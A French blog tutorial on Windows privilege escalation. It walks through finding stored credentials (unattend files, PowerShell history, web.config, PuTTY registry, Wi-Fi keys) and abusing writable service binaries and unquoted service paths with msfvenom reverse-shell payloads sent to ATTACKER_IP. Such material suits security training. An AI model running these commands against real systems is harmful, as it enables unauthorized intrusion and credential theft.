Elevation de Privilege sur Windows
Découvrez comment les hackers élèvent leur privilège sur Windows, ayant des droits Admin voir Système

Recherche de Mots de Passe
Installations Windows Non Supervisées
Lors de l'installation de Windows sur un grand nombre d'hôtes, les administrateurs peuvent utiliser Windows Deployment Services (On verra comment configurer un serveur WDS dans un autre article), qui permet de déployer une seule image du système d'exploitation sur plusieurs hôtes via le réseau, c'est ce qu'on appelle les BOOT PXE. Ces types d'installations sont appelées installations non supervisées, car elles ne nécessitent pas d'interaction utilisateur. De telles installations requièrent l'utilisation d'un compte administrateur pour effectuer la configuration initiale, ce qui peut entraîner le stockage des informations d'identification sur la machine dans les emplacements suivants :
-
C:\Unattend.xml
-> ***C'est le fichier qui permet de personnaliser les étapes d'installation de l'image Windows*** -
C:\Windows\Panther\Unattend.xml
-
C:\Windows\Panther\Unattend\Unattend.xml
-
C:\Windows\system32\sysprep.inf
-
C:\Windows\system32\sysprep\sysprep.xml
Dans ces fichiers, vous pourriez trouver des identifiants :
plaintext
Administrateur: Roger
Mot de passe: #Roger445
Historique de PowerShell
Lorsque l'utilisateur exécute une commande via PowerShell, celle-ci est enregistrée dans un fichier mémorisant les commandes passées. Si un utilisateur exécute une commande contenant un mot de passe en clair, il peut être retrouvé à l'aide de la commande suivante dans un terminal cmd.exe
:
cmd
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Note : Cette commande ne fonctionne que dans
cmd.exe
. Dans PowerShell, il faut remplacer%userprofile%
par$Env:userprofile
.
Identifiants Enregistrés sous Windows
Windows permet d'enregistrer les identifiants d'autres utilisateurs. Ces identifiants peuvent être listés avec la commande suivante :
cmd
cmdkey /list
Bien que les mots de passe ne soient pas affichés en clair, vous pouvez tester ces identifiants avec la commande runas
et l'option /savecred
:
cmd
runas /savecred /user:admin cmd.exe
Configuration IIS
Internet Information Services (IIS) est le serveur web par défaut des installations Windows. Les configurations des sites web sous IIS sont stockées dans le fichier web.config
, qui peut contenir des mots de passe pour les bases de données ou les mécanismes d'authentification. On peut les retrouver aux emplacements suivants :
-
C:\inetpub\wwwroot\web.config
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
Pour rechercher des chaînes de connexion aux bases de données, utilisez :
cmd
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
Récupération d'Identifiants depuis des Logiciels : PuTTY
PuTTY est un client SSH couramment utilisé sous Windows. Il permet d'enregistrer des sessions contenant des configurations de connexion, mais ne sauvegarde pas les mots de passe SSH. Cependant, il peut stocker des informations d'authentification en clair pour les connexions proxy.
Pour récupérer ces identifiants, recherchez la clé de registre suivante :
cmd
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
Note : Simon Tatham est le créateur de PuTTY, son nom est utilisé dans le chemin de registre mais ne correspond pas à un nom d'utilisateur.
Exploitation des Failles Rapides
Permissions Insuffisantes sur un Exécutable de Service
Si un service Windows exécute un fichier binaire dont les permissions permettent la modification par un utilisateur non privilégié, il est possible de remplacer cet exécutable pour obtenir des privilèges plus élevés.
Vérification des permissions d'un exécutable de service avec icacls
:
cmd
icacls C:\Progra2\System1\WService.exe
Si Everyone:(I)(M)
apparaît, alors tous les utilisateurs peuvent modifier cet exécutable.
Génération d'un exécutable malveillant et remplacement du fichier légitime :
cmd
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe # Génération d'un payload avec metasploit
move rev-svc.exe C:\Progra2\System1\WService.exe # Remplacement du service (move permet de garder le nom de base ici)
icacls C:\Progra2\System1\WService.exe /grant Everyone:F # /grant permet d'attribuer les autorisations, ici Everyone:Full Access
Redémarrage du service pour exécuter notre fichier malveillant :
cmd
sc stop nom_du_service_qui_execute_WService
sc start nom_du_service_qui_execute_WService
Chemins de Service Non Cités
Si un chemin d'exécutable d'un service contient des espaces et n'est pas entre guillemets, Windows pourrait exécuter un fichier malveillant placé dans un répertoire intermédiaire.
Exemple de service vulnérable :
cmd
sc qc "mon super service"
Si le BINARY_PATH_NAME
(en gros le chemin d'accès au service) ressemble à :
plaintext
C:\MyPrograms\My Super Services\bin\disksrs.exe
Windows pourrait essayer d'exécuter C:\MyPrograms\My.exe
en premier, si ce fichier existe. Car par défault il regarde d'abord si un nom est un exécutable avant d'être un dossier, et comme le nom du path n'est pas entre "" le premier mot à être pris en compte est "My".
Création et déplacement du fichier malveillant :
cmd
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe
move rev-svc2.exe C:\MyPrograms\My.exe
icacls C:\MyPrograms\My.exe /grant Everyone:F
Redémarrage du service :
cmd
sc stop "nom_du_service_qui_execute_My"
sc start "nom_du_service_qui_execute_My"
BONUS : Récupération des mots de passe Wi-Fi sous Windows avec netsh
Affichage des profils Wi-Fi enregistrés
Windows stocke absolument tous les réseaux auxquels vous vous êtes connecté via Wifi, on peut aller voir ce qu'il en est avec netsh.
Pour afficher la liste des réseaux Wi-Fi enregistrés sur votre ordinateur, utilisez la commande suivante dans un terminal cmd.exe
en mode administrateur :
cmd
netsh wlan show profiles
Cette commande affichera une liste des profils Wi-Fi enregistrés sous Windows, par exemple :
plaintext
Profils de tous les utilisateurs :
---------------------------------
Profil Wi-Fi 1 : MonWiFi
Profil Wi-Fi 2 : BureauWiFi
Récupération de la clé Wi-Fi d’un profil spécifique
Une fois le nom du profil Wi-Fi identifié (par exemple, MonWiFi
), vous pouvez récupérer sa clé de sécurité en utilisant la commande suivante :
cmd
netsh wlan show profile name="MonWiFi" key=clear
Le résultat affichera plusieurs informations, dont la clé Wi-Fi sous Contenu de la clé
:
plaintext
Paramètres de sécurité
----------------------
Authentification : WPA2-Personal
Chiffrement : AES
Contenu de la clé : motdepassewifi123
Remarque : Cette commande nécessite des privilèges administrateur.
Conclusion
Voilà un bon début pour commencer à s'amuser sur Windows. tryHackMe explique ça très bien vous devriez aller visiter.
Commentaires (0)
Aucun commentaire pour le moment. Soyez le premier à commenter !
Articles précédents

Apprendre à Créer un Active directory
Apprenez à créer un Active Directory, cet article est pour les futurs techniciens et sysadmin en puissance.

Cachez du texte dans des images avec la Stéganographie
La stéganographie est l'art et la technique de dissimuler des messages confidentiels dans un support de couverture de manière à ce que personne ne soupçonne l'existence du message.

Organisation Unit & Group Policy Object - Active Directory
Bienvenue dans cet article où vous allez pouvoir découvrir les OU et les GPO, à quoi ça sert et comment tout ça fonctionne
Articles suivants

Elevation de Privilège sur Linux
Découvrez comment les hackers élèvent leur privilèges sur les systèmes Linux pour devenir root.

Le SEO BlackHat c'est quoi ?
Comprendre le SEO c'est bien, comprendre toutes les variantes c'est mieux, notamment celle du BlackHat ou SEO BH

Simplifiez vous la vie sur Linux : Skel & .Bashrc
Apprendre à utiliser le /etc/skel et le .bashrc sur linux pour simplifier son environnement de travail Linux.